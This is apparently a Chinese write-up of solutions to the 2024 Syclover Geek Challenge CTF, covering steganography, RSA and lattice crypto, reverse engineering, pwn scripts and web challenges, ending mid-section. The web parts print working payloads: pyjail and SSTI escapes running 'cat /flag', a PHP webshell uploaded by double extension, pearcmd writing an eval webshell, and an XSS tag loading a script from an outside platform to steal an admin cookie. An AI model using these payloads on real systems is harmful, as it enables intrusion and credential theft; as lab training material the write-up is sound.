三叶草安全技术小组第十五届极客大挑战
极客大挑战是由三叶草安全技术小组自发组织举办的一场全国性网络安全赛事,目前,极客大挑战已成功举办十四届,吸引了超两万五千人次参加,累计提供超1000道赛题,广受全国各地参赛人员好评。作为国内最早一批举办的新生赛,极客大挑战一直以加强行业交流和提供优质学习平台为初心,为广大高校的信息安全学子提供了一个便捷的网络安全实战入门途径。
线上竞赛 10月18日20:00-11月18日20:00
Rank: 1
Week1
Misc
2024 geek challenge!签到
关注小组公众号三叶草小组Syclover,回复关键词 “2024 geek challenge!签到” 进行签到
公众号发关键词,flag:SYC{weLc0mE-tO-2_o_2_100-GeeK@cha11Enge!!}
。
ez_jpg
点击就送
base64+reverse+hex,改宽从528到628,图片里得到flag:SYC{Steg_4nd_Zip_1s_G00d!}
。
Truth of Word
Word文件真正的奥妙
第一处:
打开docx文件,修改文字颜色,flag1:Flag01=SYC{W0rd_H@5
。
第二处:
提取宏代码:olevba vbaProject.bin
,得到:
1 | Sub Flag02() |
第三处:
以压缩包形式打开docx,word/media
下有 flag03.png
,flag3:FLAG03=StrUCtu3e!}
。
flag:SYC{W0rd_H@5@_Ama1n9_StrUCtu3e!}
。
Welcome_jail
就是一个简单的pyjail啦
用 chr()
函数连接拼凑字符串:
1 | def d(x): |
payload:
print({}.__class__.__mro__[1].__subclasses__()[-4].__init__.__globals__[chr(112)+chr(111)+chr(112)+chr(101)+chr(110)](chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(104)+chr(111)+chr(109)+chr(101)+chr(47)+chr(99)+chr(116)+chr(102)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103)).read())
雪
又到了白色相簿的季节
zip末尾 VzNMQzBNNA==
,base64解码得:W3LC0M4
。
syclover_WaterMark.png
盲水印提取得:Th1si4st8eK3y
,white.txt
再snow解密:
stegsnow -C -p Th1si4st8eK3y white.txt
得flag:SYC{Ma1by_y0u_w1ll_l1k3_sn0w}
。
I_wanna_go_to_SYC
BoBo人觉得iwanna很好玩,但是他打不过去能帮帮它吗? 题目附件下载链接https://pan.baidu.com/s/1JCqJ8TkXBYJjPUVJbHMlvg 密码:game
gm8decompiler转exe为gmk,再用gamemaker打开。
在 Rooms-sycroom
发现flag:SYC{NO_PRObLEM_yOU_DO_It_G1Me_LOVER}
。
Crypto
凯撒加密
凯撒你了解吗?flag前缀为SYC{xx}
YEI{CKRIUSK_ZU_2024_MKKQ_INGRRKTMK}
ROT20得到:SYC{WELCOME_TO_2024_GEEK_CHALLENGE}
RSA
基础RSA,flag前缀为SYC{xx}
1 | n = 33108009203593648507706487693709965711774665216872550007309537128959455938833 |
X0R
xor和^有什么区别呢,flag前缀为SYC{
1 | from Crypto.Util.number import * |
根据flag头 SYC{
,异或得到key是 ><0R
,异或 ><0R
得到 SYC{a_part_0f_X0R}
。
dp
dp泄露,flag前缀为SYC{xx}
1 | import gmpy2 as gp |
共模攻击
共模攻击,flag前缀为SYC{xx}
1 | import gmpy2 as gp |
不是套娃
一位旅行者兜兜转转,终能抵达终点——可能要多转几个弯,走错几块地 题目附件 https://pan.baidu.com/s/1YQuXvK7wNrhLoCUcmWEMZw 提取码:game
第一层:
-..-/../-./..--.-/.---/../..--.-/--../../..--.-/.--/.-/..--.-/-.--/../..--.-/--../../..--.-/--/---/..--.-/-.--/../..--.-/-../..-/.-/..--.-/--../..
摩斯密码:xin_ji_zi_wa_yi_zi_mo_yi_dua_zi
第二层:
1 | key <- commander |
可知 uizrlbzii
对应的是 commander
,维吉尼亚密码解出key是 sunflower
。
第三层:
a1fdbce928af7aae
,cmd5查询得到 HaiKav
。
第四层:
NEFICPIC&CRTCTNEYO
,栅栏密码key=3,得到 NICECTF&NICECRYPTO
。
第五层:
tip: 100 -> 13 -> 64 -> 65536
,按照提示,base100+rot13+base64+base65536,得到 原神,启动!
。
得到flag:SYC{H0W_P3RF3C+_YU0_AR3!}
。
Web
100%的⚪
⚪神启动
circle.html查看源代码中js代码:
1 | if (score == 100) { |
Base64解码:SYC{5UcH_@_Wo0d3rfUl_CiRc1e}
。
rce_me
Just rce me
php常见绕过,payload:
1 | POST /?year=1e10&purpose=rce%0a&GLOBALS[code]=system("cat%20/flag"); |
baby_upload
Parar说他的黑名单无懈可击,GSBP师傅只花了十分钟就拿下了他的权限,你看看怎么绕过呢
文件上传,抓包,尝试发现只判断了第一次出现的 .php
,双写绕过:
1 | ------WebKitFormBoundaryIGjO2RImoANGbOwZ |
再访问 uploads/x.php.php?x=cat /flag
得到flag。
Problem_On_My_Web
starven师傅想要向他的女神表白,所以他专门写了个表白墙用来写他的甜言蜜语,你能看看他的表白墙有什么问题吗
XSS攻击。
/form
页面提交script攻击代码:<sCRiPt sRC=//xs.pe/maD></sCrIpT>
,再到 /manager
页面POST url=http://127.0.0.1,让bot访问主页,触发攻击,在XSS平台拿到cookie,内含flag:
flag=SYC{xxx}
。
ezpop
听说pop链很难?来做做我的找找自信吧(如果遇到500报错,请耐心等待几秒钟刷新即可,flag在/flag)
反序列化,绕关键字,用 .htaccess
绕死亡exit:
1 | from phpserialize import * |
得到结果传入data参数,再刷新页面得到flag。
Reverse
hello_re
Welcome to Reverse’s world! 听说010可以看到文件的本质捏
把 SYC0
改 UPX0
,upx脱壳,代码逻辑是一个简单的异或操作。
1 | c=[0,1,2,52,3,96,47,28,107,15,9,24,45,62,60,2,17,123,39,58,41,48,96,26,8,52,63,100,33,106,122,48] |
先来一道简单题
欢迎来到极客大挑战,先来一道签到题热热身吧。
gcc将汇编s文件生成目标o文件再到可执行文件:
gcc -c sssssssss.s -o s.o
gcc s.o -o s
按逻辑逆:
1 | c=list(b'TTDv^jrZu`Gg6tXfi+pZojpZSjXmbqbmt.&x') |
也许你也听jay
周杰伦的歌像一把钥匙打开了回忆之门,旋律流淌中,仿佛呼吸着曾经放肆招摇的风。你能找到我的钥匙吗。(流畅访问网址可能需要代理,网站有音乐,请合理控制音量)
替换长名字变量,逆:
1 | bb=[0x96, 0xa1, 0xa0, 0x9b, 0x9b, 0x5f, 0x49, 0x46, 0x85, 0x82, 0x53, 0x95, 0x7d, 0x36, 0x8d, 0x74, 0x82, 0x88, 0x46, 0x7a, 0x81, 0x65, 0x80, 0x6c, 0x78, 0x2f, 0x6b, 0x6a, 0x27, 0x50, 0x61, 0x38, 0x3f, 0x37, 0x33, 0xf1, 0x27, 0x32, 0x34, 0x1f, 0x39, 0x23, 0xde, 0x1c, 0x17, 0xd4] |
访问链接,文字:
1 | 本来讨厌下雨的天空, 直到听有人说爱我 ” 你听不到密文,没关系,我会帮你写在下面。 Q7u+cyiOQtKHRMqZNzPpApgmTL4j+TE= |
有密文和key,RC4解密得到flag:SYC{ILIKELISTENJAYSONG}
。
让我康康你的调试
让我康康你的ida能调试吗
RC4+xor。
c=945b7d04c9027aa6390798bc0d68f97e08bdbf9816f804715f1586b69884db61
key=syclover
cyberchef解得flag:SYC{we1come_t0_Geek's_3asy_rc4!}
。
我勒个z3啊
什么!竟然是数学吗,快去请z3老祖
z3求解器求解:
1 | from z3 import * |
ezzzz
喝喝茶,做做题 题目附件下载链接:https://pan.baidu.com/s/1MXYmUTyrwRtfoBntEPiBPg 密码:game
apk文件分析,关键逻辑:
1 | public void check() { |
加密逻辑在 Enc.encrypt()
,发现是带符号的xtea加密,提取密文:
target=f1f186b25a96c782e6c63a0b70b61b5ced6bf84889700d6b09381b5ccb2f24fab1c79e796d822d9cdcc55f760f780e750d65c4afb89084a9e978c3827a8dd81091f28df3a84dbacab4d75f75f19af8e5b90f80fcfc10a5c3d20679fb2bc734c8ccb31c921ac52ad3e7f922b72e24d923fb4ce9f53548a9e571ebc25adf38862e10059186327509463dd4d54c905abc36c26d5312d2cd42c0772d99e50cd4c4665c3178d63a7ffe71ada251c070568d5a5798c2921ec0f7fc3ae9d8418460762930ca6a2dccef51d2a1a8085491b0f82d686ca34774c52d0f0f26449fc28d362c86f3311b8adc4fb1a4497e34e0f0915d
用c写解密:
1 |
|
Pwn
你会栈溢出吗
超级简单的题目
ret2text。
1 | from pwn import * |
简单的签到
作为大学生,一定要有快速口算的能力!
pwntools运用。
1 | from pwn import * |
ez_shellcode
不能更加简单的pwn_shellcode题,什么你不知道shellcode?快去学吧
ret2shellcode。
1 | from pwn import * |
00000
你说让我输密码?有没有什么简单的办法呢?
利用函数特性逐位爆破。
1 | from pwn import * |
买黑吗喽了吗
黑吗喽真好玩!
balance负溢出,转无符号>0x100,进入修改str的2字节,改为 %p
,可以泄露出balance地址。
求pie基址,再ret2libc。
1 | from pwn import * |
over_flow??
stack overflow??
1 | from pwn import * |
Week2
Misc
ez_pcap_1
黑客通过外网getshell进入内网,在域渗透横向文件传输时传送了一个危险文件,你能找到这个危险文件吗?
010editor16进制查看下搜索 SYC
,flag:SYC{smb_pcapng_1s_g00d!}
。
cimbar
What is cimbar
参考:https://www.bilibili.com/read/cv38452107/
提取01字符串:
1 | 01010011010110010100001101111011 |
二进制转字符得到flag:SYC{An0th3r_Am@z1n9_QR_Co4e}
。
舔狗的觉醒
听说爱自己的人会有好运哦
爆破解压密码:88888888
。
字节移位输出新zip:
1 | f=bytes.fromhex(open('download.txt').read()) |
得到一个加密的pdf文件 flag.pdf
,使用PasswareKitForensic去掉pdf密码,打开删除图片,得到flag:SYC{YOu_arE_yOuR_Own_hero}
。
乌龟
starven师傅养了一直会唱歌的乌龟,但是他走丢了,你能帮starven师傅找到他吗(音频文件不只一种用法)
wav文件,sstv音转图:
sstv -d sunset.wav -o result.png
得到的图片里面有 PASS:Be4uti7ulSun5e7
。
wav文件再用deepsound,密码 Be4uti7ulSun5e7
,提取出 secret.txt
:
1 | to draw_s pu setxy -400 200 pd repeat 18 [fd 5 lt 10 wait 2] repeat 8 [fd 5 lt 10 wait 2] repeat 21 [fd 5 rt 10 wait 2] pu setxy -350 200 pd fd 50 wait 5 pu setxy -350 200 pd rt 100 fd 50 wait 5 pu setxy -350 200 pd rt 130 fd 75 wait 5 pu setxy -220 200 pd rt 130 repeat 27 [fd 8 lt 10 wait 2] pu setxy -430 70 pd lt 130 fd 100 wait 5 pu setxy -480 70 pd lt 90 fd 100 wait 5 pu setxy -420 70 pd fd 100 lt 90 fd 50 lt 90 fd 100 wait 5 pu setxy -350 70 pd rt 90 fd 70 rt 90 fd 50 rt 90 fd 70 wait 5 pu setxy -280 20 pd lt 90 fd 50 rt 90 fd 70 wait 5 pu setxy -250 70 pd rt 180 fd 100 wait 5 pu setxy -200 70 pd rt 90 fd 100 wait 5 pu setxy -130 70 pd lt 130 fd 30 rt 130 fd 110 rt 90 fd 30 wait 5 pu setxy -130 -20 pd lt 180 fd 40 wait 5 pu setxy -70 70 pd fd 70 wait 5 pu setxy -70 70 pd rt 90 fd 50 lt 90 fd 70 wait 5 pu setxy -70 20 pd rt 90 fd 50 lt 90 fd 70 wait 5 pu setxy 20 -30 pd fd 70 wait 5 pu setxy 120 70 pd repeat 18 [fd 5 rt 10 wait 2] pu setxy 120 70 pd lt 90 fd 100 wait 5 pu setxy 180 70 pd fd 50 lt 90 fd 50 wait 5 pu setxy 230 70 pd rt 90 fd 100 wait 5 pu setxy 260 70 pd lt 90 fd 50 wait 5 pu setxy 285 70 pd rt 90 fd 100 wait 5 pu setxy 260 -30 pd lt 90 fd 50 wait 5 pu setxy 340 70 pd rt 90 fd 100 wait 5 pu setxy 340 70 pd lt 30 fd 115 wait 5 pu setxy 398 -30 pd lt 150 fd 100 wait 5 pu setxy 420 70 pd rt 90 fd 100 wait 5 pu setxy 470 70 pd rt 90 fd 100 wait 5 pu setxy -520 -70 pd lt 90 fd 60 wait 5 pu setxy -490 -70 pd rt 90 fd 100 wait 5 pu setxy -520 -170 pd lt 90 fd 60 wait 5 pu setxy -420 -70 pd rt 90 fd 100 wait 5 pu setxy -420 -70 pd lt 30 fd 115 wait 5 pu setxy -362 -170 pd lt 150 fd 100 wait 5 pu setxy -270 -70 pd lt 90 repeat 27 [fd 8 lt 10 wait 2] lt 180 fd 40 wait 5 pu setxy -230 -120 pd rt 90 fd 30 wait 5 end clearscreen draw_s |
查知为logo编程语言,找个在线网站绘制,得到flag:SYC{TU3T1E_P4INTING}
。
ez_climbstairs
动态规划算法入门题目你知道如何爬楼梯吗?爬对100次就给你flag
爬楼梯经典问题,dp解决,对照测试样例数据,发现是最多可爬3阶。
1 | from pwn import * |
doSomeMath
lhRaMk7在没通过他的小升初数学考试之后来GSBP老师这里补习,发现他一道题都做不出来,大学生们能帮帮他吗
用 __le__
或 __lt__
生成 True 或 False,等同于1和0。
构造:
1 | n0 = '().__lt__(())' |
Crypto
nc
nc连接,包连接上即得flag
PoW+逐位问询。
1 | from pwn import * |
ncoCRT
if gcd != 1:
基础CRT。
1 | #Sage |
inPEM
丸辣丸辣!开拓者抱头痛哭,我的原神被绳网上的神秘黑客挟持了!好心的绳匠们,你能帮可怜弱小仅仅一岁出头的小星核精讨回公道吗?
已知公钥解析得到:
1 | n = 19909823107653171578063591352961144331355821517081529017694276790993397379180193511755806958091550033235815834847549265751244192211761569881061742997804509098095297146520946343734939782935970054031389390447526577982809412074573616889663964050032806967234869741452169276495048891650957729859124875343810181695665153129824527065062831773013713479602052423965588148263292672514853749647510938621421264137177666497737099263481269491867593812579958283619882699866915561357437484323854411934718569074869408000191465973545262527827064708529700071967884924505367105288433603597633451764659888020272057850625902629529400734213 |
已知部分私钥:
1 | wZyyAzKowuDD1R48UelUskEv0W8AXLOHR4nni |
去掉w转16进制:
672c80ccaa30b830f5478f147a552c904bf45bc0172ce1d1e279e2daea8fffbb6500f089acc543f33a11b11be2c949ea3bacbb715ec6d05a3502818100ba5beaf382f586bf044615f3ec8bf35e0ad0a41cecb213930a86ac35a80d90319a05aa56da311ee8435abe6317eb6d15904fc787d37b34c48daad75d2b77a41d5cec4c27cced07cbda891fefa0d9d7025023bcb865c16c000266a090640032752acce73a3358060c056723e788f42edc8e120e0f58f5e24f327fff1c56687fb102818100a146448c980fcf49be5640ea8cfb6278f3b270e54ead35b5ddf65c0bb0eb67594075a68359e90b762dcc59604f2358d907a539b9abcb2736bc59f15614d87035c52d0c2b5fc5f9615e00ac5000972cf1a4dcd83f30c7adda8b0fa3e1314fb046e1d53f202d341b0bd0dfa681072c58926f9e04931e0f3a9093a51e536e2c11a10281801621b7551fa5b9b70fbd739502f92df9cf2b17aa9c99795bd8e83484dc03276ae85fdf1aa8e572a7901618fa00d6c888e3f44f229d4295f13028c8eb6ae9f5649b3f8ca7a669093685d856910fba4229ef5096c0d4baa64dc46629ad5e998fd4e88f1c7ba37af5eeef7abd4357823fba049a8499594ff251c85e6a8f5b9567f9
按照私钥结构分割:
1 | 672c80ccaa30b830f5478f147a552c904bf45bc0172ce1d1e279e2daea8fffbb6500f089acc543f33a11b11be2c949ea3bacbb715ec6d05a35 |
有:
1 | dp = 0x00ba5beaf382f586bf044615f3ec8bf35e0ad0a41cecb213930a86ac35a80d90319a05aa56da311ee8435abe6317eb6d15904fc787d37b34c48daad75d2b77a41d5cec4c27cced07cbda891fefa0d9d7025023bcb865c16c000266a090640032752acce73a3358060c056723e788f42edc8e120e0f58f5e24f327fff1c56687fb1 |
生成完整私钥:
1 | from Crypto.PublicKey import RSA |
openssl解 key.enc
:
openssl rsautl -decrypt -inkey private1.pem -in key.enc
得到: You_are_r1ght_bu7_Genshin_Impact_1s_@_brand_new_open_wor1d_@dventure_gam3_dev3loped_6y_miHoYo.
作为密码,提取 Ginshen.exe
中的 Ginshen.txt
,末尾即为flag: SYC{OVvanSh3nO_Q1D0ng!}
。
ECBpad
点击就送!!!!!
ECB模式攻击。
1 | from pwn import * |
Web
ez_http
原本第一周的签到题放第二周给大家爽爽吧,点击就送
分步补充HTTP请求头:
1 | POST /?welcome=geekchallenge2024 |
得到:
give your cookie : token = eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJTdGFydmVuIiwiYXVkIjoiQ3RmZXIiLCJpYXQiOjE3MzAyMDI0MDEsIm5iZiI6MTczMDIwMjQwMSwiZXhwIjoxNzMwMjA5NjAxLCJ1c2VybmFtZSI6IlN0YXJ2ZW4iLCJwYXNzd29yZCI6InF3ZXJ0MTIzNDU2IiwiaGFzRmxhZyI6ZmFsc2V9.y-NlvKN8YH29AHLCFDboNz9WsXuPeUL2fzbmRHrfOAw<br><!--key is "Starven_secret_key"--><br>
到 jwt.io,使用key修改jwt为:
1 | { |
得到后修改cookie得到flag:
Cookie: token = eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJTdGFydmVuIiwiYXVkIjoiQ3RmZXIiLCJpYXQiOjE3MzAyMDIzMTAsIm5iZiI6MTczMDIwMjMxMCwiZXhwIjoxNzMwMjA5NTEwLCJ1c2VybmFtZSI6IlN0YXJ2ZW4iLCJwYXNzd29yZCI6InF3ZXJ0MTIzNDU2IiwiaGFzRmxhZyI6dHJ1ZX0.8BOl75G67rPQZ2pd2Eq9eTfVYeNJ6QXu3dsYQA6I0cE
Can_you_Pass_Me
听GSBP师傅说你是ssti糕手,那就来秒了他
提交表单完成,返回值为200,需要分割绕过 __
,|attr
绕过 .
,以及16进制绕关键字。
输入Payload:
{%print(joiner|attr('_''_init__')|attr('_''_globals__'))|attr('__g''etitem__')('_''_builtins__')|attr('__g''etitem__')('__import__')('o''s')|attr('p''open')('\x63\x61\x74\x20\x2f\x66\x6c\x61\x67\x7c\x62\x61\x73\x65\x36\x34')|attr('r''ead')()%}
得到结果base64解码为flag。
ez_include
web安全修仙之路-听说你学了文件包含?秒了这道题你就进入筑基阶段了
第一步,包含的软连接层数较多时,hash匹配会直接失效造成重复包含:
?file=php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/starven_secret.php
base64解码得到:
1 |
|
第二步,根据提示 register_argc_argv = On
和 pearcmd
:
用pearcmd写入文件:
/levelllll2.php?+config-create+/&syc=/usr/local/lib/php/pearcmd.php&/<?=eval($_GET[1]);?>+/tmp/1.php
再访问:
/levelllll2.php?1=system("env");&syc=/tmp/1.php
得到flag。
SecretInDrivingSchool
听说这运维一点安全不会
F12查看源码有注释:
<!-- 老板非说要防止黑客攻击,把后台登录路由改成了L000G1n.php,每次登录的时候都记不住,就放这里了吧,应该没人看见 -->
访问 L000G1n.php
,密码格式为:三位字母+@chengxing,上burpsuite爆破,得到密码:SYC@chengxing
。
进入后台页面,广告修改功能,修改源码为:echo readgzfile("/flag");
,回到首页底部看到flag。
ez_SSRF
lhRaMk7写了个计算器网站用来通过他的小升初数学考试,Parar看不惯直接黑了他的网站不给他作弊,你们觉得能让他作弊吗
/www.zip
源码泄露,发现对外用的是 h4d444444.php
,对内用的是 calculator.php
。
Soapclient+SSRF,控制User-Agent,实现CRLF伪造,参考:利用SoapClient类进行SSRF+CRLF攻击。
修改:
1 |
|
发送POST请求:
1 | POST /h4d333333.php?location=http://127.0.0.1/calculator.php |
最后访问 /result
下载得到flag。
Reverse
长颈鹿喜欢吃彩虹
长颈鹿想吃彩虹了,可以帮他它长高吃到彩虹吗,它肯定会给你彩虹糖的
ollvm,动调得到key和密文后,发现是一个简单的异或逻辑,逆:
1 | k = b'BOb0m0oN' |
奇怪的RC4
指令敲一次?不!敲两次!
python解包+pyc反编译,得到源码:
1 | from Rc4 import * |
再反编译 Rc.pyc
:
1 | def KSA(key): |
根据逻辑逆:
1 | from z3 import * |
好像是python?
Gir@ffe乱用python命令,得到了一个奇怪的文件,你能分析出完整逻辑吗?
python字节码,扔给gpt还原:
1 | # 初始标识设置 |
逆:
1 | def deROT(s, R): |
DH爱喝茶
期待已久的DH终于来到你的家里,你欣喜若狂,但仍需按捺下心思,为DH备好花和茶吧。
除花之后,发现加密逻辑为tea加密,魔改key每次加密时,每个值需要左移6*4位。
逆:
1 | from Crypto.Util.number import * |
玩就行了
师傅们思来想去想要给大家搞点乐趣,快来和三叶草娘一起玩游戏吧~
链接: https://pan.baidu.com/s/1gXKEZJbRhyEfO6BHHQ1bLw?pwd=game 提取码: game
Unity游戏,IlSpy 分析 \玩就行了\玩就行了_BackUpThisFolder_ButDontShipItWithYourGame\Managed
,关键代码:
1 | public void SYC() |
用AssetStudio加载资源文件 \玩就行了\玩就行了_Data\resources.assets
,
导出output内容,16进制转字节,保存为exe文件,逆向找到关键代码:
1 | int __fastcall main(int argc, const char **argv, const char **envp) |
分析加密逻辑为 ROT20+异或GEEK,解密逻辑:异或GEEK+ROT6,得到flag:SYC{cOnGraduulaTions_mIneR:D}
。
CPP_flower
栀子花开啊开~
nop掉几种花指令:
1 | 1. jz xxx; jnz xxx |
大概还原出这样的伪代码:
1 | __int64 sub_559D10() |
逻辑为:先 srand(0x7DE9)
,再将输入的每个字符异或 rand()%255
。
1 |
|
Pwn
su~~~~
C罗?su~~~~
直接用ret2libc可解。
1 | from pwn import * |
Week3
Misc
Forensics
听说爱冒险的lhRaMk7师傅最近换了个浏览器,似乎藏了一些有用的东西…
下载链接: https://pan.baidu.com/s/1p_90wi798gG7wuREGQkhvw?pwd=game 提取码: game
Geek2024.ad1
文件,文件头为 ADSEGMENTEDFILE
,查为AccessData逻辑镜像文件,使用AccessData FTK Imager打开。
提示浏览器,Public/Desktop
目录下有Firefox和Edge的快捷方式,Geek2024/Document
目录下有 Adventure.txt
。
base64隐写得到:100011111001011100101110101101100100110000011001001101001010011111100111000110100000
,7bits转字符:Geek2024Syc
。
寻找火狐浏览器相关文件,在 Geek2024/AppData/Roaming/Mozilla/Firefox/Profiles/uf11qmty.default
中,尝试用firepwd工具还原:python firepwd.py -p Geek2024Syc -d uf11qmty.default
无有效信息,参考:[GKCTF 2021]FireFox Forensics1 关于 Firefox的网站密码存储
下载安装火狐浏览器,新建密码,Win+R,输入 %AppData%\Mozilla\Firefox\Profiles
,进入第一个文件夹,替换取出的 key4.db
和 logins.json
,重新打开火狐浏览器,进入密码界面,输入主密码 Geek2024Syc
,显示密码,得到:
1 | 网址 |
Crypto
ecc
椭圆曲线加密,flag前缀为SYC{xx}
$M=C_1-kC_2$
1 | #Sage |
ezRSA
coppersmith,flag前缀为SYC{xx}
已知m高位,coppersmith求解。
1 | n = 98776098002891477120992675696155328927086322526307976337988006606436135336004472363084175941067711391936982491358233723506086793155908108571814951698009309071244571404116817767749308434991695075517682979438837852005396491907180020541510210086588426719828012276157990720969176680296088209573781988504138607511 |
RnoCRT
Also gcd!=1
crt+sha256爆破。
1 | import hashlib |
LLL
基础LLL,flag前缀为SYC{xx}
构造格,加大系数 $K=2^{176}$ 配平:
$(m,-1,k)\begin{bmatrix} 1 & 0 & a \newline 0 & K & b \newline 0 & 0 & p \end{bmatrix}=(m,-K,-c)$
1 | from Crypto.Util.number import * |
Web
py_game
学习累了就来玩玩游戏休息一下吧
通关真的会给flag吗?
注册,拿到cookie,用flask-unsign爆破flask key:
flask-unsign --unsign --cookie 'eyJ1c2VybmFtZSI6ImFhYSJ9.ZyUUjg.WtjPt0cu-uBZcQP4mlALEs-LrWM' --wordlist rockyou.txt --no-literal-eval
得到:
1 | [*] Session decodes to: {'username': 'aaa'} |
伪造admin:
flask-unsign --sign --cookie "{'username': 'admin'}" --secret a123456
替换cookie,以admin进入 /admin
路由,下载 app.pyc
,反编译:
1 | import json |
审计代码,/update
原型链污染 app.config['xml_data']
为恶意xml代码,再访问 /xml_parse
触发XXE漏洞读文件。
原型链污染部分,用unicode编码绕过字符串过滤;XXE部分,将payload编码为UTF-16BE绕过。
1 | import requests |
输出flag:
1 | {"message":"\u66f4\u65b0\u6210\u529f"} |
PHP不比Java差
Java有的我们PHP也有
反序列化链构造思路:
1 | $FUNC=$change($data); |
先构造:
1 | from phpserialize import * |
1 | /?change=next |
得到提示:The True Flag is in /flag
RCE构造:
1 | from phpserialize import * |
得到:-r-------- 1 root root 42 Nov 6 11:53 flag
需要提权读/flag,修改命令反弹shell,反弹之后,find / -perm -u=s -type f 2>/dev/null
发现file命令有s权限,file -f /flag
提权读出flag。
Reverse
ez_hook
有个东西藏起来了,你能找到它吗
去掉反调试 if ( CheckRemoteDebuggerPresent(hProcess, &pbDebuggerPresent) && pbDebuggerPresent ) return 0;
动调,加密逻辑为:先reverse,再经过长度3的栅栏加密,再修改 sub_4017E0()
函数区域内容为 sub_4018B4()
,逐字符异或7,得到密文:zoXpih^lhX6soX7lr~DTHtGpX|
。
逆回flag:SYC{you_kn0w_wh@t_1s_hoOk}
。
你干嘛~~
Am1re很喜欢找哥哥,你干嘛啊~~
分析发现base64字符串 ZmFrZXthcmVfeW08X6JlYWx4X6JpZ7h9fQ==
,解码得到fake flag。
动调步进,发现SEH,异常进入catch。
在 sub_4D1A50()
函数发现SM4加密算法特征,如果加密结果和enc不同,则进入 loc_4D1EED
,输出fake flag的base64。
获取SM4的key和IV为:
key=0O00O0O00OO0O0O0
iv=1III1II111I1I1I1
密文为:enc_hex=216CFDA6B682AFCC516AD1E2A93EA690
解SM4/ZeroBytePadding,得到 qwertyuiopasdfgh
。
作为key异或gif文件字节得到原始gif文件,其中一帧图有flag:SYC{111_YOU_WIN_THE_FLAG}
.
blasting_master
艺术就是爆炸!艺术就是派大星!
动调发现加密逻辑为:
按下标+1每次循环取4个字符,md5后,对应的16个字符位每位做运算,m[i] = (7*((i+42)^m[i])+82*(i%15))&0xff
,存入数组s2。
逆:
1 | ''' |
致我的星星
做到这里应该有点小累了吧,wwzx和tx师傅想给大家打打气,不看html窝真的会伤心的
下载链接链接: https://pan.baidu.com/s/1IHyv4iy0NS1YeV0_EmXhYg?pwd=game 提取码: game
审计 index.js
逻辑:
fl(e)
中,按下一串大写字母字符串,md5为 5c50152daeee511f32db7bf8a5502c69
则正确。
先解方程:
1 | from z3 import * |
对应S和Y的坐标:S:(3,13) (8,13)
和 Y:(4,15) (6,15)
。
往下看,2轮(chance)对应2个迷宫,方向键为:上T下R左S右A,S和Y坐标分别对应每个迷宫的起点和终点,打印迷宫(10*20,补充一行):
1 | data = [ |
输出:
1 | 200 |
第一轮(chance=0),从S到Y路径:STTAAARRRR
第二轮(chance=1),从S到Y路径:AAATTTTS
连起来,加flag壳,得到:SYC{STTAAARRRRAAATTTTS}
。
AES!
Am1re说AES一学一个不吱声
提取出:
1 | key = b'SYCLOVERSYCLOVER' |
更改了AES的S盒,拿AES源码修改:
1 |
|
Reverse/Crypto
LinkedListModular
公司职员发现关键数据被加密了,请帮忙解密出来,注意e和phi。flag为输入的256长度的hex字符串的md5值,并包裹flag{}提交。该题需要一些逆向基础(C实现的程序,内含链表、gmp库相关),可与队友联合解题,也可学习些二进制基础,对以后有益。
分析,key为 KnowYouLikeCrypto
,生成的文件为异或key的结果,异或得到:
1 | cmp0 |
解RSA:
1 | from Crypto.Util.number import * |
Crypto/Web
jwt_pickle
jwt和pickle,做就完事了OUO
代码审计,发现jwt使用RS256加密,且使用RS256或HS256解密。
先生成两个token,然后利用rsa_sign2n工具来生成公钥:
1 | python3 jwt_forgery.py eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6ImFhYSIsInBhc3N3b3JkIjoiMDhmOGUwMjYwYzY0NDE4NTEwY2VmYjJiMDZlZWU1Y2QiLCJpc19hZG1pbiI6ZmFsc2V9.esPiIzL35oWvFOGJeibCt7otZWE-83pVzGuljOE4O19amvZ2Y8zwgW71M-_CSVh_Wdiaz8RJaBKs-w_WCFSoEhEr7bToIDH5zeY38d8H4gkBpNGLhFWvhoRF5a-T0VrHS7JeTSJdyVgqpS7vF5o8pT3Q_fC13Hv4I-lMCYfeNhCe-SQnm9c86wVwF7i0KLY0vvi4CI9zx-iZWSzNHFmSpnXmQms8Tg9KoKO7Qq6SpccPbL4eJ5o52lSAjtohSeubVJcC_suXlNuB-odexWVozcuTRcAC-9uGUAWl7qZHc3TZffFOotggGONL5qSqpQJR5ST8KbCJkqk2hGnBpg9GSw eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6ImNjYyIsInBhc3N3b3JkIjoiNzc5NjNiN2E5MzEzNzdhZDRhYjVhZDZhOWNkNzE4YWEiLCJpc19hZG1pbiI6ZmFsc2V9.mJJbTtmHn_4dUKpaTEdETBdpFuTF7AggxptHdDuIPnD2FaIA1gX2Ys9PB5R4vLzi8MUTLB4Wufuoh2UCQnSzX0lVUx347ujgHUO_xrvPwkUAiZjoM4j5W7csJWMsSL-9T3AmHpRjJbHnXvmVzt_xQvOSBU1KUgkw2tyuwxPqjPJjkpKXIaialQmRL2ML3t2SdWiyPvPy9yo4BXQFRpFRLAA82C7OZN43wuoSSUVBvwnh6XnQXAoVugLxnFF7qFrxLDeb0b37K3_-ynMiU4FvLArGvgaWkQqvM2PdOEVpynvsM5SRGsrxvgJqo19aaSwjnttksRbfKLOJcKUFW3XwLg |
利用 /admin
回显尝试出公钥是 b37cf68716c3859b_65537_pkcs1.pem
。
/admin
路由可通过HS256解析,尝试修改RS256为HS256,先生成pickle:
1 | import pickle |
再生成HS256的jwt:
1 | // 1.js |
修改cookie,尝试成功触发sleep,改pickle为反弹shell代码,成功反弹shell,cat /flag
得到flag。
Reverse/Pwn
WhoIsAdmin
尝试对AcountSystem进行攻击,获取shell,拿到flag。你需要想办法让admin_login_state登录状态为1,并买下该系统,才能改系统名称哦。前置知识:Crypto:AES-CBC翻转攻击,Pwn:整数溢出、64位ret2syscall
分析菜单的主要功能如下:
1-新建普通用户,用户名=BinaryCryptoYYDS
